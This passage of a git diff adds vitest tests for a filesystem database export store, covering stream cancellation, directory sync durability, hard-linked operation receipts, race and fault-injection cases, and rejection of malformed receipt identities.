+    const priorInstance = beforeRead.headers.get('X-Fixture-Instance');
+    expect(priorInstance).toBeTruthy();
+    await reload();
+    const reloaded = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-before',
+    });
+    expect(reloaded.headers.get('X-Fixture-Instance')).not.toBe(priorInstance);
+    expect(await reloaded.json()).toMatchObject({
+      ok: true,
+      result: {
+        generation: before,
+        inventory: { databaseIds: ['db-a', 'db-b'] },
+      },
+    });
+    const after = await drain('inventory-after');
+    expect(after).toBeGreaterThan(before ?? 0);
+    const pruning = await call({ kind: 'control-read' }, 'prune');
+    expect(pruning.status).toBe(200);
+    expect(await pruning.json()).toMatchObject({
+      ok: true,
+      result: { deleted: 0 },
+    });
+    const retained = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-before',
+    });
+    expect(await retained.json()).toMatchObject({
+      ok: true,
+      result: { generation: before },
+    });
+    const latest = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-after',
+    });
+    expect(await latest.json()).toMatchObject({
+      ok: true,
+      result: { generation: after },
+    });
+    expect(
+      observations
+        .filter((x) => x.path.endsWith('/d1/database'))
+        .map((x) => x.page ?? '1'),
+    ).toEqual(['1', '2', '3', '1', '2', '3']);
+    expect(
+      observations
+        .filter((x) => x.path.endsWith('/r2/buckets'))
+        .map((x) => x.jurisdiction ?? 'default'),
+    ).toEqual(['default', 'eu', 'fedramp', 'default', 'eu', 'fedramp']);
+    expect((await call({ kind: 'control-read' }, 'release-pin')).status).toBe(
+      200,
+    );
+    const released = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-before',
+    });
+    expect(released.status).toBeGreaterThanOrEqual(400);
+    expect(
+      (await call({ kind: 'inventory-read', slot: 'inventory-after' })).status,
+    ).toBe(200);
+    const pruningReleased = await call({ kind: 'control-read' }, 'prune');
+    expect(pruningReleased.status).toBe(200);
+    expect(await pruningReleased.json()).toMatchObject({
+      ok: true,
+      result: { deleted: 1 },
+    });
+    const replayAfter = await call({
+      kind: 'inventory-start',
+      slot: 'inventory-after',
+    });
+    expect(replayAfter.status).toBe(200);
+    expect(await replayAfter.json()).toMatchObject({
+      ok: true,
+      result: { status: 'complete', generation: { generation: after } },
+    });
+    expect(replayAfter.headers.get('X-Fixture-Calls')).toBe('[]');
+    const replayPruned = await call({
+      kind: 'inventory-start',
+      slot: 'inventory-before',
+    });
+    expect(replayPruned.status).toBeGreaterThanOrEqual(400);
+    expect(replayPruned.headers.get('X-Fixture-Calls')).toBe('[]');
+    const latestAfterRefusal = await call({
+      kind: 'inventory-read',
+      slot: 'inventory-after',
+    });
+    expect(await latestAfterRefusal.json()).toMatchObject({
+      ok: true,
+      result: { generation: after },
+    });
+  });
+});
diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts
index 23ce5c6b..e6ea4d20 100644
--- a/packages/fleet-control/test/export-store.test.ts
+++ b/packages/fleet-control/test/export-store.test.ts
@@ -1,26 +1,136 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { execFile } from 'node:child_process';
 import { createHash } from 'node:crypto';
+import type { BigIntStats, PathLike } from 'node:fs';
 import {
+  chmod,
+  link,
   lstat,
   mkdir,
   mkdtemp,
+  open,
   readdir,
   readFile,
   realpath,
   rm,
   stat,
   symlink,
+  unlink,
   writeFile,
 } from 'node:fs/promises';
+import { createServer } from 'node:net';
 import { tmpdir } from 'node:os';
 import { isAbsolute, join } from 'node:path';
-import { fileURLToPath } from 'node:url';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+import { promisify } from 'node:util';
+import { runInNewContext } from 'node:vm';
 import { afterEach, describe, expect, it, vi } from 'vitest';
-import { FileSystemDatabaseExportStore } from '../src/export-store.js';
+import {
+  databaseExportIntegrityFromUnknown,
+  databaseExportReceiptAuthorityFromUnknown,
+  databaseExportReceiptIdentityFromUnknown,
+  isDatabaseExportReceiptError,
+} from '../src/database-export-store.js';
+import {
+  createFileSystemDatabaseExportStoreWithReceiptPrimitives,
+  FileSystemDatabaseExportStore,
+} from '../src/export-store.js';
+
+vi.mock('node:fs/promises', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('node:fs/promises')>();
+  return { ...actual, open: vi.fn(actual.open) };
+});
+
+import type {
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+} from '../src/types.js';
 
 const encoder = new TextEncoder();
+const execFileAsync = promisify(execFile);
 const temporaryDirectories: string[] = [];
+const DATABASE_ID = '01234567-89ab-cdef-0123-456789abcdef';
+const OPERATION_ID = '12345678-1234-4234-9234-123456789abc';
+const SECOND_OPERATION_ID = '22345678-1234-4234-9234-123456789abc';
+const THIRD_OPERATION_ID = '32345678-1234-4234-9234-123456789abc';
+
+function integrity(value: string): DatabaseExportIntegrity {
+  return {
+    size: encoder.encode(value).byteLength,
+    sha256: createHash('sha256').update(value).digest('hex'),
+  };
+}
+
+function receiptIdentity(
+  store: FileSystemDatabaseExportStore,
+  operationId = OPERATION_ID,
+): DatabaseExportReceiptIdentity {
+  const authority = store.receiptAuthority;
+  if (authority === undefined) {
+    throw new Error('filesystem receipt capability is unavailable');
+  }
+  return {
+    version: 1,
+    authority,
+    databaseId: DATABASE_ID,
+    operationId,
+  };
+}
+
+async function writeReceipt(
+  store: FileSystemDatabaseExportStore,
+  value: string,
+  operationId = OPERATION_ID,
+  expected = integrity(value),
+) {
+  const writer = store.writeReceipt;
+  if (writer === undefined) {
+    throw new Error('filesystem receipt capability is unavailable');
+  }
+  return writer({
+    identity: receiptIdentity(store, operationId),
+    body: body(value),
+    contentLength: encoder.encode(value).byteLength,
+    expectedIntegrity: Promise.resolve(expected),
+  });
+}
+
+function receiptDirectory(root: string): string {
+  return join(root, '.anchorage-receipts', 'v1', DATABASE_ID);
+}
+
+function receiptTarget(root: string, operationId = OPERATION_ID): string {
+  return join(receiptDirectory(root), `${operationId}.sql`);
+}
+
+function trackedOpen(paths: WeakMap<object, string>): typeof open {
+  return (async (
+    path: PathLike,
+    flags: string | number,
+    mode?: string | number,
+  ) => {
+    const handle = await open(path, flags, mode);
+    paths.set(handle, String(path));
+    return handle;
+  }) as typeof open;
+}
+
+function withBigIntIdentity(
+  statistics: BigIntStats,
+  device: bigint,
+  inode: bigint,
+  size = statistics.size,
+): BigIntStats {
+  return new Proxy(statistics, {
+    get(target, property, receiver) {
+      if (property === 'dev') return device;
+      if (property === 'ino') return inode;
+      if (property === 'size') return size;
+      return Reflect.get(target, property, receiver);
+    },
+  });
+}
 
 async function temporaryDirectory(): Promise<string> {
   const directory = await mkdtemp(join(tmpdir(), 'fleet-export-store-'));
@@ -46,6 +156,150 @@ afterEach(async () => {
 });
 
 describe('FileSystemDatabaseExportStore', () => {
+  it.each([
+    'name',
+    'length',
+    'directory',
+    'ancestor',
+    'open',
+  ] as const)('cancels its unread tee input after an early %s failure', async (stage) => {
+    const parent = await temporaryDirectory();
+    const root = join(parent, 'exports');
+    const store = new FileSystemDatabaseExportStore(root);
+    const source = new ReadableStream<Uint8Array>();
+    const [branch, sibling] = source.tee();
+    const cancellation = vi.spyOn(branch, 'cancel');
+    const actual =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
+    const fault = new Error('fixture early export failure');
+    let probe: Awaited<ReturnType<typeof open>> | undefined;
+    let restoreSync: (() => void) | undefined;
+    if (stage === 'directory') await writeFile(root, 'preserve');
+    if (stage === 'open') {
+      vi.mocked(open).mockImplementation((...args) => {
+        if (args[1] === 'wx' && String(args[0]).startsWith(`${root}/.`))
+          return Promise.reject(fault);
+        return actual.open(...args);
+      });
+    }
+    if (stage === 'ancestor') {
+      probe = await open(parent, 'r');
+      const parentStat = await probe.stat();
+      const prototype = Object.getPrototypeOf(probe) as typeof probe;
+      const originalSync = prototype.sync;
+      const sync = vi
+        .spyOn(prototype, 'sync')
+        .mockImplementation(async function (this: NonNullable<typeof probe>) {
+          const value = await this.stat();
+          if (
+            value.isDirectory() &&
+            value.dev === parentStat.dev &&
+            value.ino === parentStat.ino
+          )
+            throw fault;
+          return originalSync.call(this);
+        });
+      restoreSync = () => sync.mockRestore();
+    }
+    let timer: ReturnType<typeof setTimeout> | undefined;
+    try {
+      const timeout = new Promise<never>((_, reject) => {
+        timer = setTimeout(
+          () => reject(new Error('export refusal did not settle')),
+          1000,
+        );
+      });
+      const failure = await Promise.race([
+        store.write({
+          databaseId: 'database',
+          fileName: stage === 'name' ? '../escape.sql' : 'database.sql',
+          body: branch,
+          ...(stage === 'length' ? { contentLength: -1 } : {}),
+        }),
+        timeout,
+      ]).catch((error: unknown) => error);
+      expect(failure).toBeInstanceOf(Error);
+      const primary =
+        failure instanceof AggregateError ? failure.errors[0] : failure;
+      expect(cancellation).toHaveBeenCalledExactlyOnceWith(primary);
+      const reader = branch.getReader();
+      try {
+        expect(await reader.read()).toEqual({ done: true, value: undefined });
+      } finally {
+        reader.releaseLock();
+      }
+      if (stage === 'directory')
+        expect(await readFile(root, 'utf8')).toBe('preserve');
+    } finally {
+      clearTimeout(timer);
+      restoreSync?.();
+      vi.mocked(open).mockImplementation(actual.open);
+      await probe?.close();
+      await Promise.allSettled([branch.cancel(), sibling.cancel()]);
+      cancellation.mockRestore();
+    }
+  });
+
+  it.each([
+    false,
+    true,
+  ])('persists nested root ancestors across retry with an alias=%s', async (alias) => {
+    const parent = await temporaryDirectory();
+    const inputParent = alias ? join(parent, 'alias') : parent;
+    if (alias) await symlink(parent, inputParent, 'dir');
+    const root = join(inputParent, 'nested', 'exports');
+    const store = new FileSystemDatabaseExportStore(root);
+    const parentStat = await stat(parent);
+    const probe = await open(parent, 'r');
+    const prototype = Object.getPrototypeOf(probe) as typeof probe;
+    const originalSync = prototype.sync;
+    let fail = true;
+    let parentAttempts = 0;
+    const synchronized = new Set<string>();
+    const key = (value: { dev: number; ino: number }) =>
+      `${value.dev}:${value.ino}`;
+    const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function (
+      this: typeof probe,
+    ) {
+      const current = await this.stat();
+      if (current.isDirectory() && key(current) === key(parentStat)) {
+        parentAttempts += 1;
+        if (fail) throw new Error('fixture export ancestor sync failure');
+      }
+      await originalSync.call(this);
+      if (current.isDirectory()) synchronized.add(key(current));
+    });
+    const write = () =>
+      store.write({
+        databaseId: 'database',
+        fileName: 'database.sql',
+        body: body('SELECT 1;'),
+      });
+    try {
+      for (let retry = 0; retry < 2; retry++) {
+        await expect(write()).rejects.toThrow(
+          'fixture export ancestor sync failure',
+        );
+        expect(await readdir(root)).toEqual([]);
+      }
+      expect(parentAttempts).toBe(2);
+      expect(synchronized.has(key(parentStat))).toBe(false);
+      fail = false;
+      const result = await write();
+      expect(await readFile(fileURLToPath(result.location), 'utf8')).toBe(
+        'SELECT 1;',
+      );
+      for (const path of [parent, join(parent, 'nested'), root]) {
+        expect(synchronized.has(key(await stat(path)))).toBe(true);
+      }
+    } finally {
+      sync.mockRestore();
+      await probe.close();
+    }
+  });
+
   it('streams, syncs, closes, and publishes an absolute durable location', async () => {
     const parent = await temporaryDirectory();
     const root = join(parent, 'nested', 'exports');
@@ -73,6 +327,18 @@ describe('FileSystemDatabaseExportStore', () => {
     );
     expect((await stat(location)).mode & 0o777).toBe(0o600);
     await expect(readdir(root)).resolves.toEqual(['database-1.sql']);
+
+    const empty = await store.write({
+      databaseId: 'database-1',
+      fileName: 'empty.sql',
+      body: body(),
+      contentLength: 0,
+    });
+    expect(empty).toEqual({
+      location: pathToFileURL(join(await realpath(root), 'empty.sql')).href,
+      size: 0,
+      sha256: createHash('sha256').update('').digest('hex'),
+    });
   });
 
   it.each([
@@ -165,6 +431,84 @@ describe('FileSystemDatabaseExportStore', () => {
     await expect(readdir(root)).resolves.toEqual([]);
   });
 
+  it('does not await a tee branch cancel when the write fails', async () => {
+    const parent = await temporaryDirectory();
+    const root = join(parent, 'exports');
+    const source = new ReadableStream<Uint8Array>({
+      start(controller) {
+        // A chunk with no byteLength drives the store's own size refusal
+        // while the tee source stays readable.
+        // The real guard case is oversized; this uses size += undefined.
+        controller.enqueue('not bytes' as unknown as Uint8Array);
+      },
+    });
+    const [branch] = source.tee();
+    const store = new FileSystemDatabaseExportStore(root);
+    let timer: ReturnType<typeof setTimeout> | undefined;
+    const timeout = new Promise((_, reject) => {
+      timer = setTimeout(
+        () => reject(new Error('write did not settle')),
+        1_000,
+      );
+    });
+
+    try {
+      await expect(
+        Promise.race([
+          store.write({
+            databaseId: 'database-1',
+            fileName: 'database-1.sql',
+            body: branch,
+          }),
+          timeout,
+        ]),
+      ).rejects.toThrow('export size exceeds the safe integer range');
+    } finally {
+      clearTimeout(timer);
+    }
+    await expect(readdir(root)).resolves.toEqual([]);
+  });
+
+  it('preserves a refusal when an injected reader cancel throws', async () => {
+    const parent = await temporaryDirectory();
+    const root = join(parent, 'exports');
+    const cancellationReasons: unknown[] = [];
+    const injected = {
+      getReader() {
+        return {
+          async read(): Promise<{ done: true; value: undefined }> {
+            return { done: true, value: undefined };
+          },
+          cancel(reason: unknown): never {
+            cancellationReasons.push(reason);
+            throw new Error('synchronous reader cancel failure');
+          },
+          releaseLock(): void {},
+        };
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+    const store = new FileSystemDatabaseExportStore(root);
+
+    let refusal: unknown;
+    try {
+      await store.write({
+        databaseId: 'database-1',
+        fileName: 'database-1.sql',
+        body: injected,
+        contentLength: 1,
+      });
+    } catch (error) {
+      refusal = error;
+    }
+    expect(refusal).toBeInstanceOf(Error);
+    expect(refusal).toMatchObject({
+      message: 'export size differs from contentLength',
+    });
+    expect(cancellationReasons).toHaveLength(1);
+    expect(cancellationReasons[0]).toBe(refusal);
+    await expect(readdir(root)).resolves.toEqual([]);
+  });
+
   it('cleans its temporary file when content length does not match', async () => {
     const parent = await temporaryDirectory();
     const root = join(parent, 'exports');
@@ -219,4 +563,1012 @@ describe('FileSystemDatabaseExportStore', () => {
     await expect(readFile(target, 'utf8')).resolves.toBe('inside export');
     expect((await lstat(target)).isSymbolicLink()).toBe(false);
   });
+
+  it('converges an exact operation receipt after a lost result', async () => {
+    const root = await temporaryDirectory();
+    const store = new FileSystemDatabaseExportStore(root);
+    const value = 'CREATE TABLE exact_receipt(id INTEGER);';
+    const expectedLocation = `${pathToFileURL(root).href}/.anchorage-receipts/v1/${DATABASE_ID}/${OPERATION_ID}.sql`;
+
+    const first = await writeReceipt(store, value);
+    expect(first).toEqual({ location: expectedLocation, ...integrity(value) });
+    await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value);
+    for (const directory of [
+      join(root, '.anchorage-receipts'),
+      join(root, '.anchorage-receipts', 'v1'),
+      receiptDirectory(root),
+    ]) {
+      expect((await stat(directory)).mode & 0o777).toBe(0o700);
+    }
+    expect((await stat(receiptTarget(root))).mode & 0o777).toBe(0o600);
+
+    let pulls = 0;
+    const cancellationReasons: unknown[] = [];
+    const unusedBody = {
+      locked: false,
+      getReader() {
+        pulls += 1;
+        throw new Error('preflight receipt body must not be read');
+      },
+      cancel(reason: unknown) {
+        cancellationReasons.push(reason);
+        return Promise.resolve();
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+    const replay = await store.writeReceipt?.({
+      identity: receiptIdentity(store),
+      body: unusedBody,
+      contentLength: integrity(value).size,
+      expectedIntegrity: Promise.resolve(integrity(value)),
+    });
+    expect(replay).toEqual(first);
+    expect(pulls).toBe(0);
+    expect(cancellationReasons).toHaveLength(1);
+
+    const lostUnlink = new Error('temporary unlink result lost');
+    const lostStore = createFileSystemDatabaseExportStoreWithReceiptPrimitives(
+      root,
+      {
+        unlink: async (path) => {
+          if (String(path).includes('.receipt-')) throw lostUnlink;
+          await unlink(path);
+        },
+      },
+    );
+    let lostFailure: unknown;
+    try {
+      await writeReceipt(lostStore, value, SECOND_OPERATION_ID);
+    } catch (error) {
+      lostFailure = error;
+    }
+    expect(lostFailure).toBeInstanceOf(AggregateError);
+    expect(isAbsolute(receiptTarget(root, SECOND_OPERATION_ID))).toBe(true);
+    await expect(
+      readFile(receiptTarget(root, SECOND_OPERATION_ID), 'utf8'),
+    ).resolves.toBe(value);
+    const crashedNames = await readdir(receiptDirectory(root));
+    const matchingAlias = crashedNames.find((name) =>
+      name.startsWith('.receipt-'),
+    );
+    expect(matchingAlias).toBeDefined();
+    expect((await stat(receiptTarget(root, SECOND_OPERATION_ID))).nlink).toBe(
+      2,
+    );
+
+    const unrelatedAlias = '.receipt-42345678-1234-4234-9234-123456789abc.tmp';
+    await writeFile(join(receiptDirectory(root), unrelatedAlias), 'unrelated', {
+      mode: 0o600,
+    });
+    await chmod(join(receiptDirectory(root), unrelatedAlias), 0o600);
+    const paths = new WeakMap<object, string>();
+    const high = 9_007_199_254_740_993n;
+    const target = receiptTarget(root, SECOND_OPERATION_ID);
+    const matching = join(receiptDirectory(root), matchingAlias as string);
+    const unrelated = join(receiptDirectory(root), unrelatedAlias);
+    const recoveringStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: trackedOpen(paths),
+        stat: async (handle) => {
+          const actual = await handle.stat({ bigint: true });
+          const path = paths.get(handle);
+          if (path === target || path === matching) {
+            return withBigIntIdentity(actual, high, high + 2n);
+          }
+          if (path === unrelated) {
+            return withBigIntIdentity(actual, high - 1n, high + 1n);
+          }
+          return actual;
+        },
+      });
+    const recovered = await writeReceipt(
+      recoveringStore,
+      value,
+      SECOND_OPERATION_ID,
+    );
+    expect(recovered).toEqual({
+      location: pathToFileURL(target).href,
+      ...integrity(value),
+    });
+    await expect(lstat(matching)).rejects.toMatchObject({ code: 'ENOENT' });
+    await expect(readFile(unrelated, 'utf8')).resolves.toBe('unrelated');
+    expect((await stat(target)).nlink).toBe(1);
+    expect(
+      (await readdir(receiptDirectory(root))).filter((name) =>
+        name.endsWith('.sql'),
+      ),
+    ).toEqual([`${OPERATION_ID}.sql`, `${SECOND_OPERATION_ID}.sql`]);
+  });
+
+  it('converges concurrent matching receipts and preserves a mismatched winner', async () => {
+    const root = await temporaryDirectory();
+    const store = new FileSystemDatabaseExportStore(root);
+    const value = 'CREATE TABLE concurrent_receipt(id INTEGER);';
+
+    const concurrent = await Promise.all([
+      writeReceipt(store, value),
+      writeReceipt(store, value),
+    ]);
+    expect(concurrent[0]).toEqual(concurrent[1]);
+    await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value);
+    expect(await readdir(receiptDirectory(root))).toEqual([
+      `${OPERATION_ID}.sql`,
+    ]);
+
+    await expect(
+      writeReceipt(store, 'X'.repeat(integrity(value).size), OPERATION_ID),
+    ).rejects.toThrow(
+      'database export receipt collision differs from the committed export',
+    );
+    await expect(writeReceipt(store, 'short', OPERATION_ID)).rejects.toThrow(
+      'database export receipt collision differs from the committed export',
+    );
+    await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value);
+
+    const raceValue = 'CREATE TABLE race_winner(id INTEGER);';
+    let raced = false;
+    const targetRaceStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        link: async (temporary, target) => {
+          if (!raced) {
+            raced = true;
+            await writeFile(target, raceValue, { flag: 'wx', mode: 0o600 });
+            await chmod(target, 0o600);
+          }
+          await link(temporary, target);
+        },
+      });
+    await expect(
+      writeReceipt(targetRaceStore, raceValue, SECOND_OPERATION_ID),
+    ).resolves.toEqual({
+      location: pathToFileURL(receiptTarget(root, SECOND_OPERATION_ID)).href,
+      ...integrity(raceValue),
+    });
+
+    const mismatchRaceValue = 'CREATE TABLE mismatch_race(id INTEGER);';
+    let mismatchedRace = false;
+    const mismatchRaceStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        link: async (temporary, target) => {
+          if (!mismatchedRace) {
+            mismatchedRace = true;
+            await writeFile(target, 'different committed bytes', {
+              flag: 'wx',
+              mode: 0o600,
+            });
+            await chmod(target, 0o600);
+          }
+          await link(temporary, target);
+        },
+      });
+    await expect(
+      writeReceipt(mismatchRaceStore, mismatchRaceValue, THIRD_OPERATION_ID),
+    ).rejects.toThrow(
+      'database export receipt collision differs from the committed export',
+    );
+    await expect(
+      readFile(receiptTarget(root, THIRD_OPERATION_ID), 'utf8'),
+    ).resolves.toBe('different committed bytes');
+
+    const ambiguousOperation = '42345678-1234-4234-9234-123456789abc';
+    const ambiguousFailure = Object.assign(new Error('link result lost'), {
+      code: 'EIO',
+    });
+    const ambiguousStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        link: async (temporary, target) => {
+          await link(temporary, target);
+          throw ambiguousFailure;
+        },
+      });
+    await expect(
+      writeReceipt(ambiguousStore, value, ambiguousOperation),
+    ).resolves.toEqual({
+      location: pathToFileURL(receiptTarget(root, ambiguousOperation)).href,
+      ...integrity(value),
+    });
+    expect((await stat(receiptTarget(root, ambiguousOperation))).nlink).toBe(1);
+
+    const competingUnlinkOperation = '92345678-1234-4234-9234-123456789abc';
+    const competingUnlinkTarget = receiptTarget(root, competingUnlinkOperation);
+    const competingUnlinkAlias = join(
+      receiptDirectory(root),
+      '.receipt-92345678-1234-4234-9234-223456789abc.tmp',
+    );
+    await writeFile(competingUnlinkTarget, value, { mode: 0o600 });
+    await chmod(competingUnlinkTarget, 0o600);
+    await link(competingUnlinkTarget, competingUnlinkAlias);
+    let competed = false;
+    const competingUnlinkStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        unlink: async (path) => {
+          if (String(path) === competingUnlinkAlias && !competed) {
+            competed = true;
+            await unlink(path);
+          }
+          await unlink(path);
+        },
+      });
+    await expect(
+      writeReceipt(competingUnlinkStore, value, competingUnlinkOperation),
+    ).resolves.toEqual({
+      location: pathToFileURL(competingUnlinkTarget).href,
+      ...integrity(value),
+    });
+    expect((await stat(competingUnlinkTarget)).nlink).toBe(1);
+
+    const absentOperation = '52345678-1234-4234-9234-123456789abc';
+    const nonExistFailure = Object.assign(new Error('link unavailable'), {
+      code: 'EIO',
+    });
+    const absentStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        link: async () => {
+          throw nonExistFailure;
+        },
+      });
+    await expect(
+      writeReceipt(absentStore, value, absentOperation),
+    ).rejects.toBe(nonExistFailure);
+    await expect(
+      lstat(receiptTarget(root, absentOperation)),
+    ).rejects.toMatchObject({ code: 'ENOENT' });
+
+    const syncOperation = '62345678-1234-4234-9234-123456789abc';
+    const syncFailure = new Error('database directory sync result lost');
+    const syncTarget = receiptTarget(root, syncOperation);
+    const syncPaths = new WeakMap<object, string>();
+    const syncLossStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: trackedOpen(syncPaths),
+        sync: async (handle) => {
+          if (syncPaths.get(handle) === receiptDirectory(root)) {
+            throw syncFailure;
+          }
+          await handle.sync();
+        },
+      });
+    await expect(
+      writeReceipt(syncLossStore, value, syncOperation),
+    ).rejects.toBe(syncFailure);
+    await expect(readFile(syncTarget, 'utf8')).resolves.toBe(value);
+
+    const replaySyncFailure = new Error('replay directory sync failed');
+    const replayPaths = new WeakMap<object, string>();
+    const replaySyncedPaths: string[] = [];
+    const replaySyncStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: trackedOpen(replayPaths),
+        sync: async (handle) => {
+          const path = replayPaths.get(handle);
+          if (path !== undefined) replaySyncedPaths.push(path);
+          if (path === receiptDirectory(root)) throw replaySyncFailure;
+          await handle.sync();
+        },
+      });
+    await expect(
+      writeReceipt(replaySyncStore, value, syncOperation),
+    ).rejects.toThrow('database export receipt readback failed');
+    expect(replaySyncedPaths).toEqual([
+      root,
+      join(root, '.anchorage-receipts'),
+      join(root, '.anchorage-receipts', 'v1'),
+      receiptDirectory(root),
+    ]);
+    await expect(readFile(syncTarget, 'utf8')).resolves.toBe(value);
+
+    const durablePaths = new WeakMap<object, string>();
+    const durableSyncedPaths: string[] = [];
+    const durableReplayStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: trackedOpen(durablePaths),
+        sync: async (handle) => {
+          const path = durablePaths.get(handle);
+          if (path !== undefined) durableSyncedPaths.push(path);
+          await handle.sync();
+        },
+      });
+    await expect(
+      writeReceipt(durableReplayStore, value, syncOperation),
+    ).resolves.toEqual({
+      location: pathToFileURL(syncTarget).href,
+      ...integrity(value),
+    });
+    expect(durableSyncedPaths).toEqual(replaySyncedPaths);
+
+    const aggregateOperation = '72345678-1234-4234-9234-123456789abc';
+    const aggregateStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        link: async () => {
+          throw null;
+        },
+        unlink: async (path) => {
+          if (String(path).includes('.receipt-')) throw undefined;
+          await unlink(path);
+        },
+      });
+    let aggregate: unknown;
+    try {
+      await writeReceipt(aggregateStore, value, aggregateOperation);
+    } catch (error) {
+      aggregate = error;
+    }
+    expect(aggregate).toBeInstanceOf(AggregateError);
+    expect(aggregate).toMatchObject({
+      message: 'database export receipt and temporary-file cleanup failed',
+      errors: [null, undefined],
+    });
+    await expect(
+      lstat(receiptTarget(root, aggregateOperation)),
+    ).rejects.toMatchObject({ code: 'ENOENT' });
+  });
+
+  it('refuses malformed receipt identity or integrity before publication', async () => {
+    const root = await temporaryDirectory();
+    const unsupported =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        platform: 'win32',
+      });
+    expect(Object.hasOwn(unsupported, 'receiptAuthority')).toBe(false);
+    expect(Object.hasOwn(unsupported, 'writeReceipt')).toBe(false);
+    expect('receiptAuthority' in unsupported).toBe(false);
+    expect('writeReceipt' in unsupported).toBe(false);
+    const missingFlag =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        flags: { O_NOFOLLOW: undefined },
+      });
+    expect(Object.hasOwn(missingFlag, 'receiptAuthority')).toBe(false);
+    expect(Object.hasOwn(missingFlag, 'writeReceipt')).toBe(false);
+    expect(
+      () => new FileSystemDatabaseExportStore(`/${'a'.repeat(4_097)}`),
+    ).toThrow('database export receipt capability is malformed');
+
+    const openCalls: string[] = [];
+    const inspectingStore =
+      createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, {
+        open: (async (
+          path: PathLike,
+          flags: string | number,
+          mode?: string | number,
+        ) => {
+          openCalls.push(String(path));
+          return open(path, flags, mode);
+        }) as typeof open,
+      });
+    const valid = receiptIdentity(inspectingStore);
+    const accessorIdentity = { ...valid };
+    Object.defineProperty(accessorIdentity, 'databaseId', {
+      enumerable: true,
+      get() {
+        throw new Error('identity getter must not escape');
+      },
+    });
+    const symbolIdentity = { ...valid } as Record<PropertyKey, unknown>;
+    symbolIdentity[Symbol('extra')] = true;
+    const revoked = Proxy.revocable({ ...valid }, {});
+    revoked.revoke();
+    const malformedIdentities: unknown[] = [
+      null,
+      { ...valid, version: 2 },
+      { ...valid, databaseId: DATABASE_ID.toUpperCase() },
+      { ...valid, operationId: OPERATION_ID.toUpperCase() },
+      { ...valid, operationId: DATABASE_ID },
+      { ...valid, extra: true },
+      {
+        version: 1,
+        authority: valid.authority,
+        databaseId: DATABASE_ID,
+      },
+      accessorIdentity,
+      symbolIdentity,
+      new Proxy({ ...valid }, {}),
+      new Proxy(
+        { ...valid },
+        {
+          ownKeys() {
+            throw new Error('identity proxy trap must not escape');
+          },
+        },
+      ),
+      revoked.proxy,
+    ];
+    const writer = inspectingStore.writeReceipt;
+    if (writer === undefined) throw new Error('receipt writer unavailable');
+    for (const malformed of malformedIdentities) {
+      const cancellations: unknown[] = [];
+      const hostileCancelBody = {
+        cancel(reason: unknown) {
+          cancellations.push(reason);
+          if (cancellations.length % 2 === 0) {
+            return Promise.reject(new Error('cancel rejection'));
+          }
+          throw new Error('cancel throw');
+        },
+      } as unknown as ReadableStream<Uint8Array>;
+      let refusal: unknown;
+      try {
+        await writer({
+          identity: malformed as DatabaseExportReceiptIdentity,
+          body: hostileCancelBody,
+          expectedIntegrity: Promise.resolve(integrity('valid')),
+        });
+      } catch (error) {
+        refusal = error;
+      }
+      expect(refusal).toMatchObject({
+        message: 'database export receipt identity is malformed',
+      });
+      expect(isDatabaseExportReceiptError(refusal)).toBe(true);
+      expect(refusal).not.toHaveProperty('cause');
+      expect(cancellations).toHaveLength(1);
+    }
+    expect(openCalls).toEqual([]);
+
+    const authorityBodyCancellations: unknown[] = [];
+    const authorityBody = {
+      cancel(reason: unknown) {
+        authorityBodyCancellations.push(reason);
+        return Promise.reject(new Error('ignored cancellation rejection'));
+      },
+    } as unknown as ReadableStream<Uint8Array>;
+    let authorityRefusal: unknown;
+    try {
+      await writer({
+        identity: { ...valid, authority: `${valid.authority}/different` },
+        body: authorityBody,
+        expectedIntegrity: Promise.resolve(integrity('valid')),
+      });
+    } catch (error) {
+      authorityRefusal = error;
+    }
+    expect(authorityRefusal).toMatchObject({
+      message:
+        'database export receipt authority differs from configured authority',
+    });
+    expect(isDatabaseExportReceiptError(authorityRefusal)).toBe(true);
+    expect(authorityRefusal).not.toHaveProperty('cause');
+    expect(authorityBodyCancellations).toHaveLength(1);
+    expect(openCalls).toEqual([]);
+
+    const digest = integrity('native promise');
+    const escapedAuthority = '\0'.repeat(4_096);
+    expect(databaseExportReceiptAuthorityFromUnknown(escapedAuthority)).toBe(
+      escapedAuthority,
+    );
+    expect(
+      databaseExportReceiptIdentityFromUnknown(
+        { ...valid, authority: escapedAuthority },
+        escapedAuthority,
+      ),
+    ).toEqual({ ...valid, authority: escapedAuthority });
+    expect(() =>
+      databaseExportReceiptAuthorityFromUnknown(`${escapedAuthority}\0`),
+    ).toThrow('database export receipt capability is malformed');
+    expect(
+      databaseExportIntegrityFromUnknown({
+        size: Number.MAX_SAFE_INTEGER,
+        sha256: digest.sha256,
+      }),
